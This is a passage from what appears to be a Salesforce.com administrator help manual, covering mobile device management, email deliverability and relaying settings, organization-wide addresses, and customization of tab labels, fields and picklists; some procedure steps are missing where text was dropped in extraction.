770
Salesforce Mobile Managing Mobile Devices
Field Description
Operating System Version The version number of the operating system installed on the
mobile device.
Phone Number The phone number associated with the mobile device.
Salesforce Mobile Version The version number and build number of the mobile client
application installed on the device.
Size of Pending Outgoing Messages (Bytes) The total data size of the messages queued on the device
waiting to be sent to the mobile server. Because the server
processes messages almost instantaneously, this value is usually
0.
Size of Outgoing Messages (Bytes) The total data size of the outbound message queue on the
mobile server.
Status Indicates whether any synchronization errors exist between
the device and Salesforce.com. The Status field is only visible
when an error is present. The two error statuses are Data Limit
Exceeded and Unknown Error.
Username The Salesforce.com username of the user who is associated
with the mobile device.
Note: If Salesforce.com detects the selected device was registered by a user in another organization, an error displays
on the device detail page. This can happen when a device was registered to a user in your sandbox organization and
then later activated by a user in your production organization. To remove the old device record from your organization,
simply delete the device.
For security reasons, the mobile client application is set to lock out users after ten minutes of inactivity. Administrators can
adjust or disable this setting on a device-by-device basis. You might disable the timeout setting if the mobile device's operating
system has its own locking mechanism.
To change the mobile session timeout value:
1. Navigate to the Mobile Devices and Users page or the Mobile Device page:
771
Salesforce Mobile Managing Mobile Devices
• Click Setup ➤ Mobile Administration ➤ Mobile Users and Devices. From the list view, you can select multiple
devices at one time.
OR
• Click Setup ➤ Manage Users ➤ Users. Click Edit next to a user's name, and then click the device address in the
Assigned Mobile Devices related list.
Result Description
Message successfully queued The mobile server has sent the message to the device.
Salesforce.com cannot detect if the message was received by
the device.
Unable to send message A temporary communication problem between Salesforce.com
and the mobile server prevented the message from being sent.
Try again later.
User has no mobile device The selected mobile user never registered a device, so therefore
the message could not be sent.
See Also:
Managing Mobile Devices
Viewing Mobile Device Information
Erasing Mobile Data
Deleting Mobile Devices
Salesforce Mobile Overview
772
Salesforce Mobile Managing Mobile Devices
A mobile device activated by a Salesforce.com user contains both the mobile client application and a set of the user's
Salesforce.com data. An administrator can remove the data from a device without uninstalling the mobile application. This
is an effective security tool when a user misplaces his or her device. You also must erase a device's data if you plan to give it to
another user.
To erase the Salesforce.com data on one or more mobile devices:
1. Navigate to the Mobile Devices and Users page or the Mobile Device page:
• Click Setup ➤ Mobile Administration ➤ Mobile Users and Devices. From the list view, you can select multiple
devices at one time.
• Click Setup ➤ Manage Users ➤ Users. Click Edit next to a user's name, and then click the device address in the
Assigned Mobile Devices related list.
Result Description
Message successfully queued The mobile server has sent the message to the device.
Salesforce.com cannot detect if the message was received by
the device.
Unable to send message A temporary communication problem between Salesforce.com
and the mobile server prevented the message from being sent.
Try again later.
773
Salesforce Mobile Managing Mobile Devices
Result Description
User has no mobile device The selected mobile user never registered a device, so therefore
the message could not be sent.
See Also:
Managing Mobile Devices
Viewing Mobile Device Information
Setting Mobile Session Timeout Values
Deleting Mobile Devices
There are two instances when you would delete a mobile device from a user's record:
• Your organization's mobile settings permanently link mobile users to their devices, and you need to assign a device to a
different user. If you did not enable this setting, Salesforce.com automatically associates a device record with the mobile
user who most recently activated the device, so it is unnecessary to delete a device to assign it to another user.
• You want to move a device from your sandbox organization to your production organization.
1. Navigate to the Mobile Devices and Users page or the Mobile Device page:
• Click Setup ➤ Mobile Administration ➤ Mobile Users and Devices. From the list view, you can select multiple
devices at one time.
OR
• Click Setup ➤ Manage Users ➤ Users. Click Edit next to a user's name, and then click the device address in the
Assigned Mobile Devices related list.
2. On the Mobile Devices and Users page, select one or more devices, then click Delete Device. On the Mobile Device page,
click Delete.
3. Click OK.
Salesforce.com attempts to delete the selected device(s).
774
Salesforce Mobile Customizing Mobile Settings
4. A confirmation page summarizes the results for each mobile device you selected.
Result Description
Device deleted. Salesforce.com removed the device record from your
organization.
Device cannot be deleted at this time. Please try again later. A temporary communication problem between Salesforce.com
and the mobile server prevented the device from being deleted.
Try again later.
User has no mobile device. The selected mobile user never registered a device, so therefore
the message could not be sent.
See Also:
Erasing Mobile Data
Force.com Sandbox
775
Email Administration Configuring Deliverability Settings
4. If you enabled Mobile Lite, optionally select Enable Limited Configuration to restrict the features available in
Mobile Lite to dashboards and Chatter. If you select this option, Mobile Lite users only have access to the Chatter, Profile,
People, and Dashboards tabs.
Starting with Summer '10, the Enable Limited Configuration is enabled by default in all new organizations. To
provide Mobile Lite users with all the available CRM tabs, deselect the option.
5. Select Permanently Link User to Mobile Device to prevent mobile users from registering any mobile device
other than the one they used for their initial Salesforce Mobile account activation.
By default, Salesforce.com automatically associates a device record with the mobile user who most recently activated the
device, so administrators do not need to update the device record to assign the device to another user. While this behavior
makes it easy to switch devices between users in your organization, some administrators prefer that users are permanently
linked to the devices they were originally assigned. This helps administrators of organizations with highly sensitive data
ensure that their users do not access corporate data from personal devices.
Caution: Enabling the Permanently Link User to Mobile Device setting requires administrative action
when users need to switch devices. You must manually delete the existing device from a user's record in order for
the user to register a different device. If you do not delete the device, the user will be unable to access Salesforce
Mobile.
6. Click Save.
See Also:
Salesforce Mobile Overview
Mobile Lite Overview
Overview of Salesforce Chatter for Mobile
Managing Mobile Configurations
Managing Mobile Devices
EMAIL ADMINISTRATION
To improve the deliverability of email you send from Salesforce.com, configure your organization's email deliverability settings.
Email deliverability is the likelihood of a company’s or individual’s email to reach its intended recipient. This likelihood is
adversely affected by:
776
Email Administration Configuring Deliverability Settings
Bounced email
Email that is addressed to an invalid recipient and returned to the sender. If a sender sends several email messages that
bounce, the email server might slow or block the delivery of all email from that sender.
Noncompliant email
Email that does not comply with a recipient's email security framework, such as the Sender Policy Framework (SPF),
which verifies that the From address in an email message is not forged.
Caution: If you plan to activate both bounce management and email relaying, check with your email administrator
to ensure that your organization's email server allows the relaying of email sent from salesforce.com; otherwise, the
email you send from Salesforce.com may not get delivered. For information on email relaying, see Setting Up Email
Relaying on page 780.
3. Select the Show bounce alert next to all instances of the email address checkbox to configure
Salesforce.com to search all lead, contact, and person account records for instances of any email address that bounces an
email, and to display a bounce alert next to each instance. If you do not select this option, Salesforce.com only displays the
bounce alert on the record from which the email was originally sent.
4. Select the Return bounced email to sender checkbox to configure Salesforce.com to send a copy of the bounced
email header to the sender. If you do not select this option, only Salesforce.com receives the bounced email header. In
either case, Salesforce.com does not return the body of the bounced email to the sender for security purposes.
This option applies to all users in your organization and cannot be enabled per user or per email.
5. Select the Enable compliance with standard email security mechanisms checkbox to automatically modify
the envelope From address of every email you send from Salesforce.com to comply with email security frameworks that
your recipients might implement, such as SPF.
Many recipient email systems enforce SPF to verify if an email is legitimate. SPF checks the envelope From address of an
inbound email to verify if the email is legitimate. If this feature is enabled, Salesforce.com modifies the envelope From
address to a salesforce.com email address to verify the legitimacy of the sender. The header From address remains set to
the sender's email address.
Note: For more information on SPF, see www.openspf.org.
777
Email Administration Configuring Deliverability Settings
6. Select the Enable Sender ID compliance checkbox to comply with the Sender ID framework. This will automatically
populate the Sender field in the envelope of every email you send from Salesforce.com with no-reply@salesforce.com.
This enables receiving mail servers using the Sender ID email authentication protocol to verify the sender of an email by
examining the Sender and From headers of an inbound email through a DNS lookup. All replies will still be delivered
to the sender's email address. If you do not select this checkbox, the Sender field is set to null and email delivery fails
when a recipient email system performs a Sender ID check.
Note:
7. If you want Salesforce.com to send users a status email when their mass emails are complete, select Notify sender
when mass email completes.
8. To specify how Salesforce.com uses the Transport Layer Security (TLS) protocol for secure email communication for
SMTP sessions, choose one of the following:
• Preferred (default): If the remote server offers TLS, Salesforce.com upgrades the current SMTP session to use TLS.
If TLS is unavailable, Salesforce.com continues the session without TLS.
• Required: Salesforce.com continues the session only if the remote server offers TLS. If TLS is unavailable,
Salesforce.com terminates the session without delivering the email.
• Preferred Verify: If the remote server offers TLS, Salesforce.com upgrades the current SMTP session to use
TLS. Before the session initiates, Salesforce.com verifies the certificate is signed by a valid certificate authority, and
that the common name presented in the certificate matches the domain or mail exchange of the current connection. If
TLS is available but the certificate is not signed or the common name does not match, Salesforce.com disconnects the
session and does not deliver the email. If TLS is unavailable, Salesforce.com continues the session without TLS.
• Required Verify: Salesforce.com continues the session only if the remote server offers TLS, the certificate is signed
by a valid certificate authority, and the common name presented in the certificate matches the domain or mail exchange
to which Salesforce.com is connected. If any of these criteria are not met, Salesforce.com terminates the session without
delivering the email.
Note: If you select a setting other than Preferred (the default setting), select Restrict TLS to these
domains and specify a comma-separated domain list. The asterisk (*) wildcard is allowed; for example,
*.subdomains.com matches john@aco.subdomains.com and john@bco.subdomains.com (but not
john@subdomains.com). If you don't specify domains, Salesforce.com uses the TLS setting you specify for all
outbound emails, which may result in emails not being delivered.
9. Click Save.
See Also:
Sending Email
Enabling Compliance BCC Emails
Setting Up Email Relaying
Testing Deliverability
778
Email Administration Enabling Compliance BCC Emails
If your organization evaluates all outbound email messages for compliance, you can enable compliance BCC emails to
automatically send a hidden copy of each outbound email message to an email address you specify. Enabling compliance BCC
emails prevents users from editing the BCC field on any email and disables their Automatic Bcc setting under My Email
Settings.
To enable compliance BCC emails for your organization:
Note: The BCC email is automatically sent to the address you specify for any emails your users send, excluding system
emails such as password reset or import completion notifications.
See Also:
Configuring Deliverability Settings
Setting Up Email Relaying
Testing Deliverability
Testing Deliverability
Available in: All Editions
Salesforce.com sends email from 34 different IP addresses. If your organization blocks any of these IP addresses, users might
not receive all email sent from Salesforce.com.
To verify your organization can receive email from every Salesforce.com IP address:
779
Email Administration Setting Up Email Relaying
If you received less than 34 test messages, your organization's email administrator must whitelist the Salesforce.com IP ranges
on your organization's email server. Whitelisting an IP address allows the email server to receive email from an IP address
that might otherwise be blocked. The Salesforce.com IP ranges are:
• 202.129.242.64 to 202.129.242.65
• 204.14.232.64 to 204.14.232.79
• 204.14.234.64 to 204.14.234.79
Note: If your organization activates email relaying, your email administrator only needs to whitelist the IP addresses
Salesforce.com uses for email relaying (202.129.242.65, 204.14.232.65, and 204.14.234.65). For information on email
relaying, see Setting Up Email Relaying on page 780.
See Also:
Configuring Deliverability Settings
Enabling Compliance BCC Emails
Email relaying is using an email server to send email that did not originate on the email server. Companies set up email relaying
to:
• Route all email through their own email servers to avoid the appearance of email spoofing by Salesforce.com. Email spoofing
is the forging of email headers to make messages appear as if they came from someone other than the original sender.
• Store copies of all email as required by government regulations in various industries.
• Apply existing content filters that scan messages for data and content that is not approved to be sent out through company
email.
• Run outbound email through antivirus software before sending it to customers.
• Append data such as company-wide disclaimers at the bottom of email messages.
You can set up email relaying for Salesforce.com-generated email by configuring Salesforce.com to automatically route email
through your company's Simple Mail Transfer Protocol (SMTP) server. Contact salesforce.com to enable email relaying for
your organization.
780
Email Administration Setting Up Email Relaying
Caution: If you plan to activate both bounce management and email relaying, check with your email administrator
to ensure that your organization's email server allows the relaying of email sent from salesforce.com; otherwise, the
email you send from Salesforce.com may not get delivered. For more information on bounce management, see
Configuring Deliverability Settings on page 776.
Setting Description
Email Host The host name or IP address of your company's SMTP
server. Obtain this information from your email
administrator.
Important: If you plan to use Transport Layer
Security (TLS) with this connection, enter the host
name instead of the IP address. TLS requires the
host name for verifying certificates.
For example:
mail.acme.com
781
Email Administration Setting Up Email Relaying
Setting Description
Salesforce.com disconnects the session and does not
deliver the email. If TLS is unavailable, Salesforce.com
continues the session without TLS.
• Required Verify: Salesforce.com continues the
session only if the remote server offers TLS, the
certificate is signed by a valid certificate authority, and
the common name presented in the certificate matches
the domain or mail exchange to which Salesforce.com
is connected. If any of these criteria are not met,
Salesforce.com terminates the session without delivering
the email.
Restrict Relay to Domains Specifies whether to restrict the email relaying functionality
to certain domains. If you select this option, enter the names
of those domains separated by commas in the text field
below. (The asterisk (*) wildcard is allowed; for example,
*.subdomains.com matches john@aco.subdomains.com
and john@bco.subdomains.com (but not
john@subdomains.com)). This causes Salesforce.com to
route email to your company's SMTP server only if the email
is addressed to one of the listed domains. If you select the
checkbox but do not list any domains, Salesforce.com routes
all email to your company's SMTP server.
Active Enables email relaying for your organization. If you deselect
this checkbox, Salesforce.com keeps the email relay
configuration but does not route email to your company's
email server.
3. Click Save.
Salesforce.com recommends sending a test message each time you change the email relay configuration.
See Also:
Configuring Deliverability Settings
Enabling Compliance BCC Emails
Testing Deliverability
782
Email Administration Organization-Wide Addresses
Organization-Wide Addresses
Available in: All Editions
If your organization requires users to share a common email alias, you can define a list of organization-wide addresses for each
user profile. Organization-wide addresses define a common email address that a user profile can use. When sending email
from Salesforce.com, users with these profiles can choose a different From address than the email address they have defined.
Replies are delivered to the organization-wide address.
For example, assume your organization has several users under a single Support Profile. A Support Profile can be associated
with an email address called support@acme.com and a Display Name of Acme Support. When Support Profile users
send an outbound email through Salesforce.com, they can choose to have their From address appear as support@acme.com
instead of their own Salesforce.com email address.
The highlighted sections in the following image represents the changes to the From address and Display Name that the
recipient of an email might see:
After an organization-wide address is verified, it is available as a From address when sending an email or an email alert.
To display the list of defined organization-wide addresses, click Setup ➤ Email Administration ➤ Organization-Wide
Addresses. From this page you can:
- Display Name is the word or phrase users who receive your email will see as the sender of the email.
- Email Address is the email address that is used when sending an outbound email.
- Allowed Profiles lists the profiles which use the email address as an alias.
- Status shows the current stage of verification. When you add a new organization-wide address, it must be verified
as a valid email address before becoming available for use. If you have not received your verification email, click Resend
to have another one sent.
783
Email Administration Defining Organization-Wide Addresses
Note: You cannot use an organization-wide address to send a mass email or a Stay-in-Touch request. You cannot
delete or change an organization-wide email address if it is used by an email alert.
See Also:
Managing Profiles
Managing Organization-Wide Email Footers
To use an organization-wide address, send an email or set up an email alert, and choose your organization-wide address from
the drop-down list.
See Also:
Managing Profiles
784
Email Administration Enabling Email to Salesforce
If you use a company-provided or third-party email account, you can use Email to Salesforce to assign emails to the Activity
History related list on lead, contact, opportunity, and other records in Salesforce.com. When composing, forwarding, or
replying to email, simply enter your Email to Salesforce address in the BCC field. Salesforce.com receives a copy of the email
and, depending on your configuration, adds it to the Activity History related list of the matching records.
When working with Email to Salesforce, note the following:
• You can use Email to Salesforce with email client applications such as IBM® Lotus Notes® and Microsoft® Outlook®, as
well as webmail such as Gmail™ and Yahoo! Mail™.
• Email to Salesforce discards email attachments.
• The email addresses you use to send Email to Salesforce must be configured in the My Acceptable Email Addresses
field in the My Email to Salesforce setup page.
• If Email to Salesforce matches an email address to multiple lead or contact records in Salesforce.com, you can choose to
associate the email with all matching records, the oldest record, or the record with the most activity.
• If Email to Salesforce matches an email to multiple opportunity records in Salesforce.com, the email is included in the
activity history on all matching open records.
• If you use Gmail, see Using Gmail in Salesforce.com on page 310 to learn about the additional Gmail features that
Salesforce.com offers.
• Email to Salesforce can create a maximum of 50 email activities for each email it receives.
• Email text and HTML is automatically truncated to 32 KB.
• Email to Salesforce.com is required to use the Add Email feature with Salesforce CRM for Outlook. Disabling one feature
will automatically disable the other.
Note: Salesforce CRM for Outlook is available through a pilot program. For information on enabling Salesforce
CRM for Outlook for your organization, contact salesforce.com.
• SPF
• SenderId
• DomainKeys
785
Email Administration Deleting Email Attachments Sent as Links
If the sending server passes at least one of these protocols and does not fail any, Email to Salesforce accepts the email. If
the server fails a protocol or does not support any of the protocols, Email to Salesforce ignores the email.
Tip: Before selecting the Advanced Email Security Settings checkbox, ensure that the senders you expect
to use Email to Salesforce support at least one of the authentication protocols listed above.
5. Click Save.
6. Optionally, click Send Notification Email to notify users that Email to Salesforce is activated, or click Skip This Step.
After enabling Email to Salesforce, Salesforce.com creates a unique Email to Salesforce address for each user. Users can click
Setup ➤ Email ➤ My Email to Salesforce to view their unique Email to Salesforce address and customize their settings. For
more information, see Using My Email to Salesforce Address on page 216.
See Also:
What are Email Services?
Using Gmail in Salesforce.com
You can find and delete attachments sent as links. Recipients who subsequently click on the attachment link see a message
asking them to contact the email sender to view the attachment. You can search only within your organization's email retention
period (typically 30 days, but contact salesforce.com Support for your organization's details).
To find and delete email attachments sent as links:
- Optionally, attachment file name, including the file extension (for example, ThisYearResults.pdf). You can
use wildcards (for example, ThisYearRes would find ThisYearResults.pdf).
- Sender's username
- Date range during which the email was sent
• Attachment URL: Click the attachment link (.html) in the email to open it in a browser, and copy and paste the
URL.
3. Click Search.
786
Email Administration Managing Organization-Wide Email Footers
• If the attachment was sent using mass email, search results show one entry for every 100 emails sent—delete one of
these entries to delete the attachment.
4. In Search Results, click Del next to the attachment you want to delete. Recipients who subsequently click on the attachment
link see a message asking them to contact the email sender to view the attachment.
Note: You cannot recover deleted attachments from the Recycle Bin.
You can create personalized footers or disclaimers that appear at the bottom of all outgoing email messages sent from
Salesforce.com or the API. You can create a separate email footer for each encoding and choose default footers for single and
mass email. The defaults are used when no footer matches an outgoing email's encoding.
787
Customize Customization Overview
2. Using Default for Single Mail and Default for Mass Mail, select default footers.
3. Click Save.
Note: If you don't click Save, your default footer choice is lost when you leave the page.
CUSTOMIZE
Customization Overview
The available customization options vary according to which Salesforce.com Edition you have.
You can customize each of the standard tabs and types of records, including adding custom fields and setting page layouts.
You can also customize search, tagging, and user interface options for your organization. In addition, every Contact Manager,
Group, Professional, Enterprise, and Unlimited Edition user can customize various personal display options.
To tailor Salesforce.com for your organization, you can customize the display of the various tabs and other items. Click Setup
➤ Customize and then select a link to view the following customization options:
Tab Names and Labels
Rename the labels for standard Salesforce.com tabs and fields.
Home
Add a logo, dashboard, or links to the Home tab and create additional home page layouts for different users.
Activities
Customize various options for tasks and events such as fields, page layouts, record types, validation rules, search layouts,
and buttons. Also, enable or disable functionality like activity reminder popups and recurring events.
788
Customize Customization Overview
Campaigns
Customize the standard picklists, create custom fields and custom links, control the layout of fields, related lists, and
custom links, and create record types for Enterprise, Unlimited, and Developer Edition organizations. You can also
configure Campaign Influence.
Campaign Member
(Located under Campaigns) Edit fields, create validation rules and triggers, control the layout, and create custom
buttons and links.
Leads
Customize the standard picklists, create custom fields and custom links, control the layout of fields, related lists, and
custom links, and create record types for Enterprise, Unlimited, and Developer Edition organizations. You can also set
up lead queues, assignment rules, lead settings, and online lead capture.
Accounts
Customize the standard picklists, create custom fields and custom links, control the layout of fields, related lists, and
custom links, and for Enterprise, Unlimited, and Developer Edition organizations, create record types and set up account
teams.
Person Accounts
(Located under Accounts) Control the layout of fields, related lists, and custom links, and manage record types.
Contacts
Customize the standard picklists, create custom fields and custom links, control the layout of fields, related lists, and
custom links, and create record types for Enterprise, Unlimited, and Developer Edition organizations.
Opportunities
Customize the standard picklists, create custom fields and custom links, control the layout of fields, related lists, and
custom links, and for Enterprise, Unlimited, and Developer Edition organizations, create record types and set up team
selling.
Opportunity Products
(Located under Opportunities) Customize the standard fields, create custom fields, and control the layout of fields
on product pages within the Opportunities tab.
Quotes
Customize the standard picklists, create custom fields and custom links, and control the layout of fields, related lists,
and custom links.
Forecasts
Customize your fiscal year settings, forecast period, default view, and forecast hierarchy. These options are only available
if your organization has enabled customizable forecasting.
789
Customize Customization Overview
Cases
Customize the standard picklists, create custom fields and custom links, control the layout of fields, related lists, and
custom links, and create record types for Enterprise, Unlimited, and Developer Edition organizations. You can also set
up case queues, case contact roles, assignment, auto-response, and escalation rules, and support settings.
Case Team
(Located under Cases) Define case teams and case team roles for your organization.
Email Messages
(Located under Cases) Create triggers for Email-to-Case or On-Demand Email-to-Case messages.
Case Comments
(Located under Cases) Create triggers for case comments.
Entitlement Management
Set up entitlement management so that support reps can verify if customers are eligible for support and provide the
correct service levels to your customers.
Entitlements
(Located under Entitlement Management) Customize the standard fields, create custom fields and custom links,
control the layout of fields, related lists, custom links, and create record types and templates.
Entitlement Contacts
(Located under Entitlements) Customize the standard fields.
Service Contracts
(Located under Entitlement Management) Customize the standard fields, create custom fields and custom links,
control the layout of fields, related lists, custom links, and create record types.
Self-Service
Set up your public solutions, online case capture, and the Self-Service portal.
Call Center
Configure the Salesforce CRM Call Center by defining call centers, adding directory numbers, and customizing SoftPhone
layouts.
Contracts
Customize the standard picklist, create custom fields and custom links, control the layout of fields, related lists, and
custom links, and create record types for Enterprise, Unlimited, and Developer Edition organizations. You can also set
the contract expiration notices for your organization and configure auto-calculation of contract end dates.
Solutions
You can customize the standard solution picklists, create custom fields and custom links, control the layout of fields,
related lists, and custom links, and create record types for Enterprise, Unlimited, and Developer Edition organizations.
790
Customize Customization Overview
Products
For Enterprise, Unlimited, and Developer Edition organizations, set up price books, products, and schedules.
Partners
Configure your partner portal or PRM Portal settings.
Salesforce to Salesforce
Enable Salesforce to Salesforce business collaboration both within and across Salesforce.com organizations.
Connection Finder
(located under Salesforce to Salesforce) Enable the ability to email partners a survey asking if they use Salesforce.com.
Also, customize default template used for the email and logo used for the survey.
Customer Portal
Enable the Customer Portal for your organization.
Ideas
Customize the standard picklists, create custom fields, and control the layout of fields for Enterprise, Unlimited, and
Developer Edition organizations. You can also establish comment validation rules and manage your communities.
Assets
Customize the standard fields, create custom fields, control the layout of fields on asset pages, set search results layouts,
and create custom links.
Territories
For Enterprise, Unlimited, and Developer Edition organizations, create and edit custom territory fields.
Users
Create custom fields and custom links for users.
Console
Create console layouts that display pertinent information to users.
Tags
Enable personal and public tags for your organization. You can also delete personal tags.
Search
Optimize search settings for your organization.
791
Customize Renaming Tab and Field Labels
User Interface
Enable Quick Create, collapsible page sections, related list hover links, and customize the sidebar for your organization,
among other options.
See Also:
Customizing Home Tab Page Layouts
Customizing Fields
Setting Custom Buttons and Links
Managing Page Layouts
Managing Multiple Business Processes
Managing Record Types
Managing Folders
Renaming Tab and Field Labels
TAB SETTINGS
You can change the display labels of tabs, objects, fields, and other related user interface labels so they better reflect your
organization's business requirements. When you rename a label, such as changing the “Accounts” label to “Companies,” the
792
Customize Renaming Tab and Field Labels
new label appears on all user pages, in Connect for Outlook, and in Connect Offline. With rare exception, all pages in the
Setup area use the default, original labels.
Before renaming tabs, objects, fields, and other related labels, review the implementation tips for administrators.
1. Click Setup ➤ Customize ➤ Tab Names and Labels ➤ Rename Tabs and Labels.
2. Select your default language from the Select Language drop-down list at the top of the page.
Note: In Hebrew, we recommend keeping tab renaming to a minimum because variable gender in verbs is not
supported and verbs can lose gender agreement.
3. Click Edit next to the tab you want to rename. Optionally, click Reset to change the name of your renamed tab to its
original name.
Note: You cannot reset custom object tab names.
4. Enter the singular and plural forms of the new tab label. Also, if applicable for the language, select the Starts with a
vowel sound checkbox for labels that start with a vowel. This ensures that the proper article (such as “a” or “an”) is used.
Then click Next.
A renamed tab or object cannot use the name of another standard tab, custom object, or custom tab.
5. Enter the standard field labels and other user interface labels to be used for the selected tab or object. Be sure to enter both
a singular and plural form for each label that requires it. Also, select the Starts with a vowel sound checkbox for
labels that start with a vowel.
If your organization uses person accounts, see Renaming Person Account Labels on page 794.
Note: Some standard fields, such as Created By and Last Modified By, are purposely omitted from renaming
because they track system information.
6. Click Save.
7. Repeat this procedure to translate labels into all other languages used in your organization.
Tip: After renaming a tab or object, rename any custom reports, dashboards, profiles, custom fields, and list views
that contain the original name. You can modify labels using the Translation Workbench. To rename a standard report,
click Save As from the report wizard and save it to a report folder designed for your new name.
• Individual users can control which tabs and related lists display for their own logins. For more information, see Customizing
Your Display on page 34.
• In addition to the standard tabs provided by Salesforce.com, users can create entirely new custom tabs depending on their
Edition. For more information, see Defining Custom Tabs on page 1394.
• In Enterprise, Unlimited, and Developer Edition organizations, you can override the tab home page that is displayed when
a user clicks a standard or custom object tab. For more information, see Overriding Standard Buttons and Tab Home
Pages on page 996.
793
Customize Renaming Tab and Field Labels
If your organization uses person accounts, you can rename the following standard field labels:
When you rename the Person Account field label, the renamed label appears in Salesforce.com as follows:
• As a prefix to differentiate person account fields such as Birthdate and Home Phone from business account fields. For
example, Person Account: Birthdate is available as an account column in opportunity reports.
• In the name of the Is Person Account field and icon. For example, if you rename the Person Account field to
“Consumer,” then Is Person Account becomes Is Consumer.
Note: The Person Account and Business Account field labels are completely independent from actual record
type names. To customize person account record types, click Setup ➤ Customize ➤ Accounts ➤ Person Accounts
➤ Record Types. To customize business account record types, click Setup ➤ Customize ➤ Accounts ➤ Record
Types.
See Also:
Replacing Salesforce.com Online Help
Customization Overview
What is a Person Account?
794
Customize Considerations for Renaming Tab and Field Labels
Renaming standard and custom Salesforce.com tabs, objects, fields, and other related user interface labels is a valuable feature
that has far-reaching implications for all your users. Before renaming anything for your organization, review the following
considerations to determine how it will affect your users:
• Most standard tabs and objects can be renamed but not all. For example, the Forecasts tab is not available for renaming.
Click Setup ➤ Customize ➤ Tab Names and Labels ➤ Rename Tabs and Labels to view a list of the tabs and objects
you can rename.
• The renamed labels display on all user pages in Salesforce.com including Personal Setup. However, all pages in the Setup
area use the default, original labels.
• Some standard fields, such as Created By and Last Modified By, are purposely omitted from renaming because they
track system information.
• After renaming tabs, objects, or fields, check the following additional items that may need manual updates:
- Review all list view names. List view names continue to display the original object name until you change them manually.
- Check standard report names and descriptions for the objects you renamed.
- Update the titles and descriptions of any email templates that contain the original object or field name.
- Manually change any other items you customized with the standard object or field name. For example, custom fields,
page layouts, and record types may contain the original tab or field name.
• Connect for Outlook and Connect Offline use your new names.
• If you have renamed tabs, objects, or fields, you can also replace the Salesforce.com online help with another URL. Users
can view this URL whenever they click on any context-sensitive help link on an end-user page or within Personal Setup.
After you replace the help, the Help & Training link at the very top of every page and all Administration Setup pages
will continue to display Salesforce.com online help. For instructions on replacing the online help, see Replacing
Salesforce.com Online Help on page 1256.
• In Hebrew, we recommend keeping tab renaming to a minimum because variable gender in verbs is not supported and
verbs can lose gender agreement.
See Also:
Renaming Tab and Field Labels
795
Customize Customizing Fields
FIELDS
Customizing Fields
Available in: All Editions
Customize fields to tailor Salesforce.com to your organization’s unique requirements. You can:
See Also:
Creating Custom Fields
Viewing Fields
Overview of Relationships
Creating a Many-to-Many Relationship
796
Customize Customizing Standard Fields
You can customize several aspects of standard fields, such as the values in picklists, the format for auto-number fields, tracking
field history, lookup filters on relationship fields, and field-level help.
In Enterprise, Unlimited, and Developer Editions, you can also view details about standard fields and set field-level security.
See Also:
Creating Custom Fields
Modifying Standard Auto-Number Fields
Viewing Fields
Setting Field-Level Security
Tracking Field History
The unique identifiers for solutions, cases, and contracts are standard auto-number fields. Each record is assigned a unique
number with a specified format upon creation. You can modify the format and numbering for these auto-number fields.
1. Click Setup ➤ Customize, select the appropriate tab link, and then click the Fields link.
2. Click Edit next to the name of the field in the Standard Fields list.
3. Enter a Display Format to control such formatting details as the minimum number of leading zeros as well as any prefix
or suffix for the number. See Custom Field Attributes on page 817.
Format changes do not affect existing records; they are applied only to new records.
4. Enter the number to be assigned to the next record that is created after you save your changes.
5. Click Save.
797
Customize Modifying Picklists
Caution: Salesforce.com warns you if the next number you enter is not higher than existing numbers. However, it
may be possible to create duplicate numbers if you change the auto-number format multiple times using similar formats
each time.
See Also:
Custom Field Types
Modifying Picklists
Available in: All Editions
Customized selection lists, or “picklists,” let users pick values from a predefined list of entries. You can update the entries in
standard and custom picklists; see Updating Picklists on page 798.
To set up multiple lists of picklist values and make them available for different parts of your organization, see Managing Record
Types on page 1004.
Using picklists simplifies report filters; instead of manually entering matching values, users can select from a predefined list
of picklist values.
See Also:
Sorting Picklists
Replacing Picklists
Defining Dependent Picklists
Updating Picklists
Available in: All Editions
1. Navigate to the fields page for your object. For example, for account fields, click Setup ➤ Customize ➤ Accounts ➤
Fields.
798
Customize Modifying Picklists
For custom objects, click Setup ➤ Create ➤ Objects, then click the name of an object.
2. Click the name of the picklist you want to update.
3. In the Picklist Values section, click Edit next to a value.
4. In the Picklist Edit page, you can change the name of the value and make the value the default for the master picklist. You
can also assign a color for use in charts by clicking the button. To assign a color dynamically when a chart is generated,
click Assign color dynamically.
Note: Chart colors aren't available for multi-select picklists, currency picklists, or Task Subject, Event Subject,
and Opportunity Competitor picklists.
Tip:
• Some special picklists, such as Task Priority, Stage, or Partner Role, have additional information that
you can edit.
• If you use record types, changing the default value of the master picklist does not affect the default value of the
picklist for a record type.
• For Salesforce CRM Ideas, setting the default value of the Categories or Status picklists does not affect the
default value on the Salesforce CRM Ideas pages.
• If you change the label for a picklist value that is used as a filter criteria on a report, the picklist value is
automatically removed from the filter criteria. For example, if your report contains a filter where Lead Source
equals Email or Web and you change the picklist value Web to Referral, your report filter will change
to Lead Source equals Email. If the changed picklist value was the only value specified for a particular
filter, it will continue to show up in your report filters, but an error will display on the report wizard.
5. Click Save.
Note: If your organization uses the Translation Workbench, notify your translators that the translations may be out
of date whenever you change picklist values.
See Also:
Modifying Picklists
Picklists with Additional Information
Picklist Limitations
Additional Options for Updating Picklists
• Click Edit next to a value to change the name, make it the default picklist value, assign a color to use on charts, or change
additional information.
• Click Del next to a value to remove it from the picklist.
Special picklists—such as opportunity Stage, Task Priority, Task Status, Lead Status, and Case Status—may
prompt you to map the deleted value to another existing value in all of your organization’s records. You can map the values
or leave your existing data unchanged.
799
Customize Modifying Picklists
• Click New to add values to the picklist. If you use record types, select any record types that you want to include the new
values.
• Click Reorder to change the sequence of picklist values.
• Click Replace to change the values of picklist fields in existing records.
• Click Printable View to open an easy-to-print list of your picklist values.
• Click Chart Colors and select an option to assign colors to picklist values for use in charts:
- Assign fixed colors to all values assigns a fixed color to each value from the standard set of chart colors. The Chart
Colors column shows the assigned colors. Manually change assigned colors by editing picklist values. For example,
if you want Closed Lost values to always show up as red in charts grouped by Opportunity Stage, assign red to that
picklist value.
- Assign colors to values dynamically assigns colors when a chart is generated. The Chart Colors column shows
“Assigned dynamically” for all colors. Assign fixed colors by editing picklist values. For example, if you only need certain
picklist values to show up as fixed colors in charts, manually assign colors to those values and leave the rest as “Assigned
dynamically.”
Manual assignments are overridden each time you click an option in Chart Colors.
Note: Chart colors aren't available for multi-select picklists, currency picklists, or Task Subject, Event Subject,
and Opportunity Competitor picklists.
For organizations using record types, this picklist is a master picklist. You can include some or all of the values from the master
picklist in different record types to offer a subset of values to users based on their profile. For instructions on sharing master
picklist values across record types, see Managing Record Types on page 1004.
See Also:
Custom Field Attributes
Modifying Picklists
Updating Picklists
Picklist Description
